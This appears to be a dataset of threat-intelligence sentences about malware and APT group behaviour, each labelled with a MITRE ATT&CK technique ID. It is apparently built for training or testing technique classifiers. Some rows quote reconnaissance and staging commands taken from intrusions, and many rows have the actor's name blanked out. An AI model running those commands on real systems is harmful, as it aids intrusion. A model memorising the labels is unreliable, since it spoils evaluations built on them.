The AADInternals `Set-AADIntUserMFA` command can be used to disable MFA for a specified user.,T1556.006
AADInternals can inject a malicious DLL (`PTASpy`) into the `AzureADConnectAuthenticationAgentService` to backdoor Azure AD Pass-Through Authentication.,T1556.007
Kimsuky has used modified versions of PHProxy to examine web traffic between the victim and the accessed website.,T1557
Empire can use Inveigh to conduct name service poisoning for credential theft and associated relay attacks.,T1557.001
Responder is used to poison name services to gather hashes and credentials from systems within a local network.,T1557.001
Impacket modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.,T1558.003
"Wizard Spider has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.",T1558.003
HermeticWizard can execute files on remote machines using DCOM.,T1559.001
Milan can use a COM component to generate scheduled tasks.,T1559.001
POWERSTATS can use DCOM (targeting the 127.0.0.1 loopback address) to execute additional payloads on compromised hosts.,T1559.001
Ursnif droppers have used COM objects to execute the malware's full executable payload.,T1559.001
"During Operation Sharpshooter, threat actors sent malicious Word OLE documents to victims.",T1559.002
GravityRAT has been delivered via Word documents using DDE for execution.,T1559.002
Leviathan has utilized OLE as a method to insert malicious content inside various phishing documents.,T1559.002
MuddyWater has used malware that can execute PowerShell scripts via DDE.,T1559.002
Sharpshooter has sent malicious Word OLE documents to victims.,T1559.002
Sidewinder has used the ActiveXObject utility to create OLE objects to obtain execution through Internet Explorer.,T1559.002
Agent Tesla can encrypt data with 3DES before sending it over to a C2 server.,T1560
Axiom has compressed and encrypted data prior to exfiltration.,T1560
Dtrack packs collected data into a password protected archive.,T1560
Exaramel for Windows automatically encrypts files before sending them to the C2 server.,T1560
Leviathan has archived victim's data prior to exfiltration.,T1560
Machete stores zipped files with profile data from installed web browsers.,T1560
Remexi encrypts and adds all gathered browser data into files for upload to C2.,T1560
RunningRAT contains code to compress files.,T1560
The Ke3chang group has been known to compress data before exfiltration.,T1560
"APT28 has used a variety of utilities, including WinRAR, to archive collected data with password protection.",T1560.001
APT29 used 7-Zip to compress stolen emails into password-protected archives prior to exfiltration.,T1560.001
Earth Lusca has used WinRAR to compress stolen files into an archive prior to exfiltration.,T1560.001
FIN8 has used RAR to compress collected data before exfiltration.,T1560.001
"Gallmaker has used WinZip, likely to archive data prior to exfiltration.",T1560.001
"Operation Wocao has archived collected files with WinRAR, prior to exfiltration.",T1560.001
Sowbug extracted documents and bundled them into a RAR archive.,T1560.001
ccf32 has used `xcopy \\\c$\users\public\path.7z c:\users\public\bin\.7z /H /Y` to archive collected files.,T1560.001
menuPass has compressed files before exfiltration using TAR and RAR.,T1560.001
Cardinal RAT applies compression to C2 traffic using the ZLIB library.,T1560.002
Denis compressed collected data using zlib.,T1560.002
FoggyWeb can invoke the `Common.Compress` method to compress data with the C# GZipStream compression class.,T1560.002
"Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.",T1560.002
SeaDuke compressed data with zlib prior to sending it over C2.,T1560.002
The ZLib backdoor compresses communications using the standard Zlib compression library.,T1560.002
A Lazarus Group malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.,T1560.003
Data SPACESHIP copies to the staging area is compressed with zlib. Bytes are rotated by four positions and XOR'ed with 0x23.,T1560.003
"FoggyWeb can use a dynamic XOR key and a custom XOR methodology to encode data before exfiltration. Also, FoggyWeb can encode C2 command output within a legitimate WebP file.",T1560.003
Mustang Panda has encrypted documents with RC4 prior to exfiltration.,T1560.003
NETWIRE has used a custom encryption algorithm to encrypt collected data.,T1560.003
SUGARDUMP has encrypted collected data using AES CBC mode and encoded it using Base64.,T1560.003
WarzoneRAT can masquerade the Process Environment Block on a compromised host to hide it's attempts to elevate privileges through `IFileOperation`.,T1564
APT28 has saved files with hidden file attributes.,T1564.001
Agent Tesla has created hidden folders.,T1564.001
Dacls has had its payload named with a dot prefix to make it hidden from view in the Finder application.,T1564.001
Ixeshe sets its own executable file's attributes to hidden.,T1564.001
Lokibot has the ability to copy itself to a hidden file and directory.,T1564.001
Micropsia creates a new hidden directory to store all components' outputs in a dedicated sub-folder for each.,T1564.001
SysUpdate has the ability to set file attributes to hidden.,T1564.001
Transparent Tribe can hide legitimate directories and replace them with malicious copies of the same name.,T1564.001
Dragonfly has modified the Registry to hide created user accounts.,T1564.002
SMOKEDHAM has modified the Registry to hide created user accounts from the Windows logon screen.,T1564.002
APT28 has used the WindowStyle parameter to conceal PowerShell windows.,T1564.003
Higaisa used a payload that creates a hidden window.,T1564.003
InvisiMole has executed legitimate tools in hidden windows.,T1564.003
MCMD can modify processes to prevent them from being visible on the desktop.,T1564.003
Meteor can hide its console window upon execution to decrease its visibility to a victim.,T1564.003
Anchor has used NTFS to hide files.,T1564.004
Astaroth can abuse alternate data streams (ADS) to store content for malicious payloads.,T1564.004
"""If the victim is using PowerShell 3.0 or later, POWERSOURCE writes its decoded payload to an alternate data stream (ADS) named kernel32.dll that is saved in """"%PROGRAMDATA%\Windows\"""".""",T1564.004
GOLD SOUTHFIELD has conducted malicious spam (malspam) campaigns to gain access to victim's machines.,T1566
APT12 has sent emails with malicious Microsoft Office documents and PDFs attached.,T1566.001
APT19 sent spearphishing emails with malicious attachments in RTF and XLSM formats to deliver initial exploits.,T1566.001
APT29 has used spearphishing emails with an attachment to deliver files with exploits to initial victims.,T1566.001
BADFLICK has been distributed via spearphishing campaigns containing malicious Microsoft Word documents.,T1566.001
BITTER has sent spearphishing emails with a malicious RTF document or Excel spreadsheet.,T1566.001
Dragonfly has sent emails with malicious attachments to gain initial access.,T1566.001
"During C0011, Transparent Tribe sent malicious attachments via email to student targets in India.",T1566.001
"During Operation Spalax, the threat actors sent phishing emails that included a PDF document that in some cases led to the download and execution of malware.",T1566.001
EXOTIC LILY conducted an e-mail thread-hijacking campaign with malicious ISO attachments.,T1566.001
FIN6 has targeted victims with e-mails containing malicious attachments.,T1566.001
Higaisa has sent spearphishing emails containing malicious attachments.,T1566.001
Inception has used weaponized documents attached to spearphishing emails for reconnaissance and initial compromise.,T1566.001
KONNI has been delivered via spearphishing campaigns through a malicious Word document.,T1566.001
Lazarus Group has targeted victims with spearphishing emails containing malicious Microsoft Word documents.,T1566.001
"Leviathan has sent spearphishing emails with malicious attachments, including .rtf, .doc, and .xls files.",T1566.001
Machete has delivered spearphishing emails that contain a zipped file with malicious contents.,T1566.001
Magic Hound has used personalized spearphishing attachments.,T1566.001
Molerats has sent phishing emails with malicious Microsoft Word and PDF attachments.,T1566.001
MuddyWater has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients.,T1566.001
NETWIRE has been spread via e-mail campaigns utilizing malicious attachments.,T1566.001
Nomadic Octopus has targeted victims with spearphishing emails containing malicious attachments.,T1566.001
Octopus has been delivered via spearsphishing emails.,T1566.001
QakBot has spread through emails with malicious attachments.,T1566.001
The primary delivered mechaism for Agent Tesla is through email phishing messages.,T1566.001
Tonto Team has delivered payloads via spearphishing attachments.,T1566.001
WarzoneRAT has been distributed as a malicious attachment within an email.,T1566.001
menuPass has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.,T1566.001
APT32 has sent spearphishing emails containing malicious links.,T1566.002
APT33 has sent spearphishing emails containing links to .hta files.,T1566.002
Cobalt Group has sent emails with URLs pointing to malicious documents.,T1566.002
Grandoreiro has been spread via malicious links embedded in e-mails.,T1566.002
GuLoader has been spread in phishing campaigns using malicious web links.,T1566.002
Kerrdown has been distributed via e-mails containing a malicious link.,T1566.002
Machete has sent phishing emails that contain a link to an external server with ZIP and RAR archives.,T1566.002
Molerats has sent phishing emails with malicious links included.,T1566.002
MuddyWater has sent targeted spearphishing e-mails with malicious links.,T1566.002
OilRig has sent spearphising emails with malicious links to potential victims.,T1566.002
Sandworm Team has crafted phishing emails containing malicious hyperlinks.,T1566.002
SpicyOmelette has been distributed via emails containing a malicious link that appears to be a PDF document.,T1566.002
Transparent Tribe has embedded links to malicious downloads in e-mails.,T1566.002
Wizard Spider has sent phishing emails containing a link to an actor-controlled Google Drive document or other free online file hosting services.,T1566.002
EXOTIC LILY has used the e-mail notification features of legitimate file sharing services for spearphishing.,T1566.003
Windshift has used fake personas on social media to engage and target victims.,T1566.003
Ngrok has been used by threat actors to configure servers for data exfiltration.,T1567
Empire can use GitHub for data exfiltration.,T1567.001
BITTER has used DDNS for C2 communications.,T1568
"""Maze has forged POST strings with a random choice from a list of possibilities including """"forum"""", """"php"""", """"view"""", etc. while making connection with the C2, hindering detection efforts.""",T1568
"RTM has resolved Pony C2 server IP addresses by either converting Bitcoin blockchain transaction data to specific octets, or accessing IP addresses directly within the Namecoin blockchain.",T1568
SUNBURST dynamically resolved C2 infrastructure for randomly-generated subdomains within a parent domain.,T1568
Amadey has used fast flux DNS for its C2.,T1568.001
Astaroth has used a DGA in C2 communications.,T1568.002
BONDUPDATER uses a DGA to communicate with command and control servers.,T1568.002
Doki has used the DynDNS service and a DGA based on the Dogecoin blockchain to generate C2 domains.,T1568.002
"Grandoreiro can use a DGA for hiding C2 addresses, including use of an algorithm with a user-specific key that changes daily.",T1568.002
Milan can use hardcoded domains as an input for domain generation algorithms.,T1568.002
Ursnif has used a DGA to generate domain names for C2.,T1568.002
APT12 has used multiple variants of DNS Calculation including multiplying the first two octets of an IP address and adding the third octet to that value in order to get a resulting command and control port.,T1568.003
"""LoudMiner launched the QEMU services in the """"/Library/LaunchDaemons/"""" folder using """"launchctl"""". It also uses """"launchctl"""" to unload all Launch Daemons when updating to a newer version of LoudMiner.""",T1569.001
APT32's backdoor has used Windows services as a way to execute its malicious payload.,T1569.002
Attor's dispatcher can be executed as a service.,T1569.002
"""Bad Rabbit drops a file named """"infpub.dat""""into the Windows directory and is executed through SCManager and """"rundll.exe"""".""",T1569.002
Clambling can create and start services on a compromised host.,T1569.002
Net Crawler uses PsExec to perform remote service manipulation to execute a copy of itself as part of lateral movement.,T1569.002
StrongPity can install a service to execute itself as a service.,T1569.002
WhisperGate can download and execute AdvancedRun.exe via `sc.exe`.,T1569.002
ZxShell can create a new service for execution.,T1569.002
"During Operation Wocao, threat actors used SMB to copy files to and from target systems.",T1570
Lucifer can use certutil for propagation on Windows hosts within intranets.,T1570
njRAT has used port 1177 for HTTP C2 communications.,T1571
"Cobalt Strike uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.",T1572
Fox Kitten has used protocol tunneling for communication and RDP activity on compromised hosts through the use of open source tools such as Ngrok and custom tool SSHMinion.,T1572
Chaes has used encryption for its C2 channel.,T1573
Cardinal RAT uses a secret key with a series of XOR and addition operations to encrypt C2 traffic.,T1573.001
Daserf uses RC4 encryption to obfuscate HTTP traffic.,T1573.001
Derusbi obfuscates C2 traffic with variable 4-byte XOR keys.,T1573.001
Explosive has encrypted communications with the RC4 method.,T1573.001
Mongall has the ability to RC4 encrypt C2 communications.,T1573.001
MoonWind encrypts C2 traffic using RC4 with a static key.,T1573.001
Nebulae can use RC4 and XOR to encrypt C2 communications.,T1573.001
Okrum uses AES to encrypt network traffic. The key can be hardcoded or negotiated with the C2 server in the registration phase.,T1573.001
RTM encrypts C2 traffic with a custom RC4 variant.,T1573.001
"RedLeaves has encrypted C2 traffic with RC4, previously using keys of 88888888 and babybear.",T1573.001
Sakula encodes C2 traffic with single-byte XOR keys.,T1573.001
Torisma has encrypted its C2 communications using XOR and VEST-32.,T1573.001
ZIRCONIUM has used AES encrypted communications in C2.,T1573.001
Carbon has used RSA encryption for C2 communications.,T1573.002
ComRAT can use SSL/TLS encryption for its HTTP-based C2 channel. ComRAT has used public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.,T1573.002
"Cyclops Blink can encrypt C2 messages with AES-256-CBC sent underneath TLS. OpenSSL library functions are also used to encrypt each message using a randomly generated key and IV, which are then encrypted using a hard-coded RSA public key.",T1573.002
Grandoreiro can use SSL in C2 communication.,T1573.002
Mythic supports SSL encrypted C2.,T1573.002
"""Operation Wocao's proxy implementation """"Agent"""" can upgrade the socket in use to a TLS socket.""",T1573.002
"Tor encapsulates traffic in multiple layers of encryption, using TLS by default.",T1573.002
"""Denis replaces the nonexistent Windows DLL """"msfte.dll"""" with its own malicious version, which is loaded by the SearchIndexer.exe and SearchProtocolHost.exe.""",T1574
One of Dtrack can replace the normal flow of a program execution with malicious code.,T1574
BackdoorDiplomacy has executed DLL search order hijacking.,T1574.001
"Evilnum has used the malware variant, TerraTV, to load a malicious DLL placed in the TeamViewer directory, instead of the original Windows DLL located in a system folder.",T1574.001
"HTTPBrowser abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.",T1574.001
Prikormka uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.,T1574.001
Tonto Team abuses a legitimate and signed Microsoft executable to launch a malicious DLL.,T1574.001
Empire has a dylib hijacker module that generates a malicious dylib given the path to a legitimate dylib of a vulnerable application.,T1574.004
HiddenWasp adds itself as a shared object to the LD_PRELOAD environment variable.,T1574.006
Hildegard has modified /etc/ld.so.preload to intercept shared library import functions.,T1574.006
PowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit path interception opportunities in the PATH environment variable.,T1574.007
PowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit search order hijacking vulnerabilities.,T1574.008
PowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit unquoted path vulnerabilities.,T1574.009
Blue Mockingbird has used wmic.exe and Windows Registry modifications to set the COR_PROFILER environment variable to execute a malicious DLL whenever a process loads the .NET CLR.,T1574.012
"""FinFisher has used the """"KernelCallbackTable"""" to hijack the execution flow of a process by replacing the """"__fnDWORD"""" function with the address of a created Asynchronous Procedure Call stub routine.""",T1574.013
"During Operation Honeybee, threat actors registered domains for C2.",T1583.001
"EXOTIC LILY has registered domains to spoof targeted organizations by changing the top-level domain (TLD) to "".us"", "".co"" or "".biz"".",T1583.001
"For C0011, Transparent Tribe registered domains likely designed to appear relevant to student targets in India.",T1583.001
"For FunnyDream, the threat actors registered a variety of domains.",T1583.001
LazyScripter has used dynamic DNS providers to create legitimate-looking subdomains for C2.,T1583.001
Winnti Group has registered domains for C2 that mimicked sites of their intended targets.,T1583.001
"During Night Dragon, threat actors purchased hosted services to use for C2.",T1583.004
"For Operation Wocao, the threat actors purchased servers with Bitcoin to use during the operation.",T1583.004
Gelsemium has established infrastructure through renting servers at multiple providers worldwide.,T1583.004
Confucius has obtained cloud storage service accounts to host stolen data.,T1583.006
Kimsuky has hosted content used for targeting efforts via web services such as Blogspot.,T1583.006
"During C0010, UNC3890 actors likely compromised the domain of a legitimate Israeli shipping company.",T1584.001
"For Operation Sharpshooter, the threat actors compromised a server they used as part of the campaign's infrastructure.",T1584.004
Earth Lusca has compromised Google Drive repositories.,T1584.006
EXOTIC LILY has established social media profiles to mimic employees of targeted companies.,T1585.001
Leviathan has created new social media accounts for targeting efforts.,T1585.001
Magic Hound has created fake LinkedIn and other social media accounts to contact targets and convince them--through messages and voice communications--to open malicious links.,T1585.001
"For Operation Dust Storm, the threat actors established email addresses to register domains for their operations.",T1585.002
"For Operation Wocao, the threat actors registered email accounts to use during the campaign.",T1585.002
Lazarus Group has created new email accounts for spearphishing operations.,T1585.002
Silent Librarian has established e-mail accounts to receive e-mails forwarded from compromised accounts.,T1585.002
"For C0010, UNC3890 actors used unique malware, including SUGARUSH and SUGARDUMP.",T1587.001
Kimsuky has developed its own unique malware such as MailFetch.py for use in operations.,T1587.001
Lazarus Group has developed custom malware for use in their operations.,T1587.001
Aquatic Panda has acquired and used njRAT in its operations.,T1588.001
"BackdoorDiplomacy has obtained and used leaked malware, including DoublePulsar, EternalBlue, EternalRocks, and EternalSynergy, in its operations.",T1588.001
"APT41 has obtained and used tools such as Mimikatz, pwdump, PowerSploit, and Windows Credential Editor.",T1588.002
Blue Mockingbird has obtained and used tools such as Mimikatz.,T1588.002
"Chimera has obtained and used tools such as BloodHound, Cobalt Strike, Mimikatz, and PsExec.",T1588.002
"Cleaver has obtained and used open-source tools such as PsExec, Windows Credential Editor, and Mimikatz.",T1588.002
"DarkVishnya has obtained and used tools such as Impacket, Winexe, and PsExec.",T1588.002
"During Night Dragon, threat actors obtained and used tools such as gsecdump.",T1588.002
"For Operation CuckooBees, the threat actors obtained publicly-available JSP code that was used to deploy a webshell onto a compromised server.",T1588.002
"HEXANE has acquired, and sometimes customized, open source tools such as Mimikatz, Empire, VNC remote access software, and DIG.net.",T1588.002
Ke3chang has obtained and used tools such as Mimikatz.,T1588.002
"Lazarus Group has obtained a variety of tools for their operations, including Responder, PuTTy PSCP, Wake-On-Lan, ChromePass, and dbxcli.",T1588.002
"Magic Hound has obtained and used open-source penetration testing tools like Havij, sqlmap, Metasploit, and Mimikatz.",T1588.002
Silence has obtained and modified versions of publicly-available tools like Empire and PsExec.,T1588.002
Thrip has obtained and used tools such as Mimikatz and PsExec.,T1588.002
BlackTech has used stolen code-signing certificates for its malicious payloads.,T1588.003
"For Operation Honeybee, the threat actors stole a digital signature from Adobe Systems to use with their MaoCheng dropper.",T1588.004
Lazarus Group has obtained SSL certificates for their C2 domains.,T1588.004
Silent Librarian has obtained free Let's Encrypt SSL certificates for use on their phishing pages.,T1588.004
"During Operation Wocao, threat actors targeted people based on their organizational roles and privileges.",T1589
"Magic Hound has acquired mobile phone numbers of potential targets, possibly for mobile malware or additional phishing operations.",T1589
Leviathan has collected compromised credentials to use for targeting efforts.,T1589.001
"LAPSUS$ has gathered employee email addresses, including personal accounts, for social engineering and initial access efforts.",T1589.002
Magic Hound has acquired the personal email addresses of some individuals they intend to target.,T1589.002
HAFNIUM gathered the fully qualified domain names (FQDNs) for targeted Exchange servers in the victim's environment.,T1590
"Silent Librarian has searched victim's websites to identify the interests and academic areas of targeted individuals and to scrape source code, branding, and organizational contact information for phishing pages.",T1594
Dragonfly has scanned targeted systems for vulnerable Citrix and Microsoft Exchange services.,T1595.002
UNC2452 bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.,T1606.001
"For C0010, UNC3890 actors staged malware on their infrastructure for direct download onto a compromised system.",T1608.001
TeamTNT executed Hildegard through the kubelet API run command and by executing commands on running containers.,T1609
Doki was run through a deployed container.,T1610
"""Siloscape maps the host's C drive to the container by creating a global symbolic link to the host through the calling of """"NtSetInformationSymbolicLink"""".""",T1611
Peirates can enumerate Kubernetes pods in a given namespace.,T1613
Amadey does not run any tasks or install additional malware if the victim machine is based in Russia.,T1614
"""MarkiRAT can use the """"GetKeyboardLayout"""" API to check if a compromised host's keyboard is set to Persian.""",T1614.001
S-Type has attempted to determine if a compromised system was using a Japanese keyboard via the `GetKeyboardType` API call.,T1614.001
"""SynAck lists all the keyboard layouts installed on the victim's system using """"GetKeyboardLayoutList"""" API and checks against a hardcoded language code list. If a match if found, SynAck sleeps for 300 seconds and then exits without encrypting files.""",T1614.001
BloodHound has the ability to collect local admin information via GPO.,T1615
Lokibot has reflectively loaded the decoded DLL into memory.,T1620
Bumblebee can search for tools used in static analysis.,T1622
DRATzarus can use `IsDebuggerPresent` to detect whether a debugger is present on a victim.,T1622
"can collect system information, including computer name, system manufacturer, IsDebuggerPresent state, and execution path.",T1082 | T1082
"FIN6 conducted internal reconnaissance with a Windows batch file leveraging Adfind to query Active Directory, then 7-zip to compress the results for exfiltration",T1018 | T1069
", a tool that has been used by adversaries, writes programs to the ADMIN$ network share to execute commands on remote systems.",T1021.002
achieves persistence by creating a shortcut in the Startup folder.,T1547.009 | T1547.001
achieves persistence by using various Registry Run keys.,T1547.001
"A  configuration file is encrypted with a simple XOR key, 0x53.",T1027
actors deleted tools and batch files from victim systems.,T1070.004
"actors installed a credential logger on Microsoft Exchange servers.  also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.",T1056
actors mapped network drives using net use.,T1021.002
actors used the following command after exploiting a machine with  malware to acquire information about local networks: ipconfig /all >> %temp%\download,T1016
actors used the following command following exploitation of a machine with  malware to list local groups: net localgroup administrator >> %temp%\download,T1069
added the registry value ntdll to the Registry Run key to establish persistence.,T1547.001
adds a sub-key under several Registry run keys.,T1547.001
"adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.",T1560 | T1486 | T1074
adds itself to the startup folder or adds itself to the Registry key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.,T1547.001
adds permissions and remote logins to all users.,T1098
adds the setuid flag to a binary so it can easily elevate in the future.,T1548.001
Adversaries can direct  to upload files to the C2 Server.,T1041
"After collecting documents from removable media,  compresses the collected files.",T1560
"After compromising a victim,  discovers all running services.",T1007
"After data is collected by  malware, it is exfiltrated over the existing C2 channel.",T1041
"A module in  collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.",T1083
"A module in  gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.",T1552.001
An  downloader establishes SOCKS5 connections to two separate IP addresses over TCP port 1913 and TCP port 81.,T1571
An  loader Trojan saves its payload with hidden file attributes.,T1564.001
"appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.",T1040
A  tool can create a new Registry key under HKEY_CURRENT_USER\Software\Classes\.,T1112
automatically collects data about the victim and sends it to the control server.,T1119
A  variant accesses a screenshot saved in the clipboard and converts it to a JPG image.,T1115
A  variant can use port 127 for communications.,T1571
A  variant registers as a Winlogon Event Notify DLL to establish persistence.,T1547.004
"""A  variant takes screenshots by simulating the user pressing the """"Take Screenshot"""" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image.""",T1113
A  variant uses a custom packer.,T1027.002
A version of  introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.,T1027
A version of  uses the MPRESS packer.,T1027.002
backdoor RoyalDNS established persistence through adding a service called Nwsapagent.,T1543.003
base64 encodes strings that are sent to the C2 over its DNS tunnel.,T1001
binds to a raw socket on a random source port between 31800 and 31900 for C2.,T1095
"can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic.",T1029
"can be used to act on (ex: copy, move, etc.) files/directories in a system during (ex: copy files into a staging area before).",T1005
can be used to automate exploitation of SQL injection vulnerabilities.,T1190
can be used to discover routing configuration information.,T1016
"can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.",T1016
can be used to gather information on user accounts within a domain.,T1087
can bypass UAC and create an elevated COM object to escalate privileges.,T1548.002
can capture screenshots of the desktop over multiple monitors.,T1113
can collect system information.,T1082
can communicate using HTTP or HTTPS.,T1071
can compress data before sending it.,T1560
can create a link to itself in the Startup folder to automatically start itself upon system restart.,T1547.001
can create a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands.,T1059
"can decrypt, unpack and load a DLL from its resources.",T1140
can download additional components from the C2 server.,T1105
"""can download a hosted """"beacon"""" payload using .""",T1197
can download and execute a file from given URL.,T1105
can download files.,T1105
can download files and upgrade itself.,T1105
can dump process memory and extract clear-text credentials.,T1003
can enumerate files and directories.,T1083
can enumerate registry keys.,T1012
can enumerate services.,T1007
can execute shell commands.,T1059
can gather information about the victim proxy server.,T1016
can gather the username from the victim’s machine.,T1033
can gather the victim computer name.,T1082
can inject content into lsass.exe to load a module.,T1055
can install as a Windows service for persistence.,T1543.003
can list directory contents.,T1083
can obtain a list of running processes on the system.,T1057
can obtain a list of users.,T1087
can obtain information about network parameters.,T1016
can obtain the victim time zone.,T1124
can perform audio capture.,T1123
can perform credential dumping.,T1003
can perform port scans from an infected host.,T1046
can perform webcam viewing.,T1125
can remove itself from a system.,T1070.004
can retrieve an additional payload from its C2 server.,T1105
can search files on a victim.,T1083
can sleep for a given number of seconds.,T1029
can SSH to a remote service.,T1021
"can start, stop, or delete services.",T1569.002
"can upload and download files, including second-stage malware.",T1105
can use a WMI script to achieve persistence.,T1546.003
can use base64 encoded C2 communications.,T1132
"can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.  also collects C2 information via a dead drop resolver.",T1102
can use Regsvr32 to execute additional payloads.,T1218.010
can use steganography to hide malicious code downloaded to the victim.,T1001
can use  to execute a payload on a remote host. It can also use Service Control Manager to start new services.,T1569.002
can use WMI to deliver a payload to a remote host.,T1047
captured audio and sent it out to a C2 server.,T1123
captures images from the webcam.,T1125
checks for anti-malware products and processes.,T1518.001
"checks for ant-sandboxing software such as virtual PC, sandboxie, and VMware.",T1518.001
checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them.,T1518.001
checks its directory location in an attempt to avoid launching in a sandbox.,T1083
checks the running processes on the victim’s machine.,T1057
collects a list of available servers with the command net view.,T1018
collects a list of running services with the command tasklist /v.,T1057
collects files from the local system.,T1005
"collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.",T1082
collects information about the Internet adapter configuration.,T1016
collects information on bookmarks from Google Chrome.,T1217
collects information on local user accounts from the victim.,T1087
collects information on programs and services on the victim that are configured to automatically run at startup.,T1007
"collects lists of local accounts with administrative access, local group user accounts, and domain local groups with the commands net localgroup administrators, net localgroup users, and net localgroup /domain.",T1069
collects registered owner details by using the commands systeminfo and net config workstation.,T1033
"collects system information, including the operating system version and hostname.",T1082
collects the username from the victim.,T1033
"collects the victim host name and serial number, and then sends the information to the C2 server.",T1082
"collects the victim username along with other account information (account type, description, full name, SID and status).",T1033
collects the victim username and sends it to the C2 server.,T1033
"collects user credentials, including passwords, for various programs and browsers, including popular instant messaging applications, Web browsers, and email clients. Windows account hashes, domain accounts, and LSA secrets are also collected, as are WLAN keys.",T1003
contains a collection of ScriptModification modules that compress and encode scripts and payloads.,T1027
contains a command to list processes.,T1057
contains a feature to manipulate process privileges and tokens.,T1134
contains a module to collect data from removable drives.,T1025
contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.,T1052
contains a network loader to receive executable modules from remote attackers and run them on the local victim. It can also upload and download files over HTTP and HTTPS.,T1105
creates a backdoor through which remote attackers can list contents of drives and search for files.,T1083
creates a backdoor through which remote attackers can monitor processes.,T1057
creates a backdoor through which remote attackers can open a command line interface.,T1059
creates a backdoor through which remote attackers can read data from files.,T1005
"creates a backdoor through which remote attackers can retrieve information such as computer name, OS version, processor speed, memory size, and CPU speed.",T1082
creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.,T1052
creates a scheduled task on the system that provides persistence.,T1053.005
CRYPTO::Extract module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.,T1552.004
decodes the configuration data and modules.,T1140
decrypts and executes shellcode from a file called Stars.jps.,T1140
deletes its payload along with the payload's parent process after it finishes copying files.,T1070.004
delets all artifacts associated with the malware from the infected machine.,T1070
deobfuscates its code.,T1140
"developed a file stealer to search C:\ and collect files with certain extensions.  also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.",T1119
"downloads additional plug-ins to load on the victim’s machine, including the ability to upgrade and replace its own binary.",T1105
downloads and uploads files to and from the victim’s machine.,T1105
downloads another dropper from its C2 server.,T1105
DPAPI module can harvest protected credentials stored and/or cached by browsers and other user applications by interacting with Windows cryptographic application programming interface (API) functions.,T1552.001
"drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.",T1547.008
drops and executes a malicious CPL file as its payload.,T1218.002
drops files with base64-encoded data.,T1027
enables concurrent Remote Desktop Protocol (RDP).,T1021.001
encodes C2 communications with base64.,T1001
encodes C2 traffic with single-byte XOR keys.,T1573
encrypts C2 data with AES256 in ECB mode.,T1573
encrypts data using Base64 before being sent to the command and control server.,T1486
enumerates all running processes.,T1057
enumerates Registry keys associated with event logs.,T1012
enumerates registry keys with the command regkeyenum and obtains information for the Registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.,T1012
enumerates running processes to search for Wireshark and Windows Sysinternals suite.,T1518.001
establishes persistence by creating a shortcut in the Start Menu folder.,T1547.001
establishes persistence via a .lnk file in the victim’s startup path.,T1547.009
exfiltrates data collected from the victim mobile device.,T1005
exfiltrates data over its C2 channel.,T1041
exfiltrates data to its C2 server over the same protocol as C2 communications.,T1041
exfiltrates files over FTP.,T1048
extracts basic information about the operating system.,T1082
"""For C2 over HTTP,  encodes data with base64 and sends it via the """"Cookie"""" field of HTTP requests. For C2 over DNS,  converts ASCII characters into their hexadecimal values and sends the data in cleartext.""",T1132
Freenki malware lists running processes using the Microsoft Windows API.,T1057
functions as a proxy server between the victim and C2 server.,T1090
gathers and beacons the MAC and IP addresses during installation.,T1016
gathers computer name and information using the systeminfo command.,T1082
"gathers credentials in files for chrome, 1password, and keychains.",T1552.001
"gathers information about the OS architecture, OS name, and OS version/Service pack.",T1082
gathers information on the system and local drives.,T1082
gathers information on victim’s drives and has a plugin for document listing.,T1083
gathers the local IP address.,T1016
generates a false TLS handshake using a public certificate to disguise C2 network communications.,T1001
Get-MicrophoneAudio Exfiltration module can record system microphone audio.,T1123
Get-TimedScreenshot Exfiltration module can take screenshots at regular intervals.,T1113
harvests plain-text credentials as a password filter registered on domain controllers.,T1556.002
has a command named $screenshot that may be responsible for taking screenshots of the victim machine.,T1113
"has a command to collect victim system information, including the system name and OS version.",T1082
"has a command to create, set, copy, or delete a specified Registry key or value.",T1112
has a command to create Registry entries for storing data under HKEY_CURRENT_USER\SOFTWARE\Microsoft\WABE\DataPath.,T1112
has a command to return a directory listing for a specified directory.,T1083
